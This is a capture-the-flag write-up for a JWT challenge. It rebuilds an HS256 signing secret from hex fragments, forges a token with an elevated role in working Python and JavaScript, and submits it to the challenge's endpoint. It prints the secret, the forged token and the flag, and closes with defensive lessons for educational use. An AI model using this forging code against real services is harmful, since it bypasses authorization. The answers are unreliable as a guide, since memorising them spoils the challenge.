Home > Writeups > Raptor Weekly 2 - ECHELON JWT 2 - 2.3 ; SIGNED

Raptor Weekly 2 - ECHELON JWT 2 - 2.3 ; SIGNED

Reconstructing a JWT signing secret from two hex fragments recovered across prior challenges, forging an HS256 token with elevated role claims, and submitting it to a verification endpoint to gain SECRET tier access.

2.3 ; SIGNED

Challenge Description

The CONFIDENTIAL portal session gave you a JWT. It works, but only at this tier. The SECRET tier requires a higher clearance token. You have everything you need to produce one.

Endpoint: POST /api/v1/verify with {"token": "<jwt>"}

Required: JWT_PT1 from 2.1 ; INTERCEPT and JWT_PT2 from 2.2 ; DEAD DROP


Overview

The CONFIDENTIAL portal issued a JWT signed with role: CONFIDENTIAL. The SECRET tier endpoint verifies HS256 JWTs and only grants access for role: SECRET. Players reconstruct the full JWT signing secret from both halves, forge a new token with the upgraded role, and submit it.


Step 1: Decode the Existing Token

The JWT received from the CONFIDENTIAL portal has three base64url-encoded parts separated by dots. Decode the payload (middle part) to read the current claims:

import base64, json

def b64url_decode(s):
    s += "=" * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)

token   = "eyJhbGci..."   # token from CONFIDENTIAL portal
parts   = token.split(".")
header  = json.loads(b64url_decode(parts[0]))
payload = json.loads(b64url_decode(parts[1]))

print(header)   # {"alg": "HS256", "typ": "JWT"}
print(payload)  # {"sub": "analyst", "role": "CONFIDENTIAL", ...}

You can also just paste the token into jwt.io.

Algorithm is HS256. The secret is what needs to be recovered.


Step 2: Reconstruct the Signing Secret

From 2.1 ; INTERCEPT: JWT_PT1 = 656368656c6f6e2e6e6f646530372e73 From 2.2 ; DEAD DROP: JWT_PT2 = 657373696f6e2e6b65792e3230323621

The full secret is the two hex strings decoded and concatenated:

pt1 = bytes.fromhex("656368656c6f6e2e6e6f646530372e73")
pt2 = bytes.fromhex("657373696f6e2e6b65792e3230323621")
secret = pt1 + pt2
print(secret)  # b'echelon.node07.session.key.2026!'

Step 3: Forge the Token

Craft a new payload with role: SECRET and sign it with the recovered secret:

import hmac, hashlib, base64, json

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

secret = b"echelon.node07.session.key.2026!"

header  = {"alg": "HS256", "typ": "JWT"}
payload = {
    "sub":  "analyst",
    "role": "SECRET",
    "node": "ECHELON.NODE.07",
    "iat":  1773510400,
    "exp":  9999999999
}

h   = b64url(json.dumps(header,  separators=(',',':')))
p   = b64url(json.dumps(payload, separators=(',',':')))
msg = f"{h}.{p}"
sig = hmac.new(secret, msg.encode(), hashlib.sha256).digest()
forged_token = f"{msg}.{b64url(sig)}"

Alternatively: jwt.io (https://jwt.io) with algorithm HS256 and the recovered secret, editing the role field directly in the payload editor.


Step 4: Submit

import requests

r = requests.post("https://echelon.two-shoes.org/api/v1/verify",
                  json={"token": forged_token})
print(r.json())
# {"status": "authenticated", "role": "SECRET", "flag": "ECHELON{f0rged_but_valid}", ...}

This can also be done from the browser console with fetch:

forged_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiwicm9sZSI6IlNFQ1JFVCIsIm5vZGUiOiJFQ0hFTE9OLk5PREUuMDciLCJpYXQiOjE3NzM0MjM2MDAsImV4cCI6OTk5OTk5OTk5OSwieC1lY2hlbG9uLWZsYWciOiJFQ0hFTE9Oe24waXNlX2lzX25ldmVyX2p1c3RfbjBpc2V9In0.sUhRs3wGI3TsZcOJr9RWHpfTForDq7I5C6JtyWF1k4Q"

fetch("/api/v1/verify", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({token: forged_token})
})
.then(r => r.json())
.then(console.log)

Key Takeaways

HS256 JWTs are only as secure as their signing secret. A secret reconstructible from captured network traffic is no secret at all. In production, JWT secrets must be long, random, and never transmitted or derivable from observable artifacts. Asymmetric algorithms (RS256, ES256) sidestep this entirely: the private key never leaves the signing service.

Note also the 403 response for a valid CONFIDENTIAL token: the endpoint verified the signature correctly but rejected on role. This is the correct behaviour, authentication and authorization are separate concerns.


Flag

ECHELON{f0rged_but_valid}

< Back to All Writeups